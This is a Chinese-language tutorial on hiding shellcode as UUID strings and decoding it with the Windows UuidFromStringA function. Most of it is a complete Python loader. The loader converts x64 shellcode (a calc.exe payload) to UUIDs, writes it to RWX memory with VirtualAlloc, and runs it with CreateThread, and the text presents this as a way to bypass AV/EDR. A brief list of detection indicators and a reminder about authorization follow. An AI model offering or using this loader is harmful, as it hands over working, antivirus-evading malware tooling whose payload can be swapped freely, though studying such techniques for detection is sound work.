首先了解一下UUID: UUID(通用唯一标识符)是一种128位的值,常用于软件系统中,用以提供几乎可以保证唯一性的引用。它通常以字符串形式表示,由十六进制数字组成,并被划分为五个部分。由于其结构和生成方式(基于时间戳或随机数),UUID发生冲突的可能性极低,因此非常适合在分布式系统中用于标识对象或记录,尤其是在缺乏中心化唯一性管理机制的场景下。
恶意脚本, 主要利用了微软提供的一个API函数:UuidFromStringA(), 该函数可以将UUID 字符串转换为二进制格式。因此,上面的一堆UUID, 一旦解码为原始字节, 就会以shellcode的身份注入到内存中执行。利用这种技术的恶意软件逃避追杀的概率极高, VT评分仅为:2/61。
基于UUID的Shellcode加载器(Python实现)
这段代码模拟了攻击者如何将Shellcode编码为UUID格式,并在内存中加载执行。实际攻击中,此类代码可能用于绕过AV/EDR检测。
假设我们有一段简单的Shellcode(如弹计算器calc.exe的x64 Shellcode),可以将其分割为16字节的块,并转换为UUID格式:
import ctypes
import uuid
def generate_uuid_shellcode(shellcode):
"""将Shellcode转换为UUID格式的字符串列表"""
uuid_shellcode = []
for i in range(0, len(shellcode), 16):
chunk = shellcode[i:i+16]
# 不足16字节用NOP (0x90) 填充
if len(chunk) < 16:
chunk += b"\x90" * (16 - len(chunk))
uuid_str = str(uuid.UUID(bytes_le=chunk))
uuid_shellcode.append(uuid_str)
return uuid_shellcode
def execute_uuid_shellcode(uuid_shellcode):
"""在内存中加载并执行UUID格式的Shellcode"""
# 分配可读、可写、可执行的内存 (RWX)
rwx_page = ctypes.windll.kernel32.VirtualAlloc(
ctypes.c_int(0),
ctypes.c_int(len(uuid_shellcode) * 16),
ctypes.c_int(0x1000), # MEM_COMMIT
ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE
)
if not rwx_page:
print("[!] VirtualAlloc 失败!")
return False
# 将UUID字符串转换回二进制并写入内存
ptr = rwx_page
for u in uuid_shellcode:
status = ctypes.windll.rpcrt4.UuidFromStringA(
ctypes.c_char_p(u.encode()),
ctypes.c_void_p(ptr)
)
if status != 0:
print(f"[!] UuidFromStringA 失败 (状态: {status})")
return False
ptr += 16
# 创建线程执行Shellcode
thread_handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_void_p(rwx_page),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
if not thread_handle:
print("[!] CreateThread 失败!")
return False
# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(thread_handle),
ctypes.c_int(-1)
)
return True
if __name__ == "__main__":
# 示例Shellcode (x64弹计算器,需替换为实际研究用途的Shellcode)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
b"\x63\x2e\x65\x78\x65\x00"
)
# 生成UUID格式的Shellcode
print("[+] 生成UUID格式的Shellcode...")
uuid_shellcode = generate_uuid_shellcode(shellcode)
for u in uuid_shellcode:
print(f'"{u}",')
# 执行Shellcode
print("\n[+] 执行Shellcode...")
if execute_uuid_shellcode(uuid_shellcode):
print("[+] Shellcode执行完成!")
else:
print("[!] Shellcode执行失败!")
generate_uuid_shellcode
execute_uuid_shellcode
VirtualAlloc
分配 RWX 内存。UuidFromStringA
将 UUID 还原为二进制并写入内存。CreateThread
执行内存中的 Shellcode。VirtualAlloc
+ CreateThread
组合。UuidFromStringA
用于转换长字符串。请始终遵守渗透测试授权和合规性要求!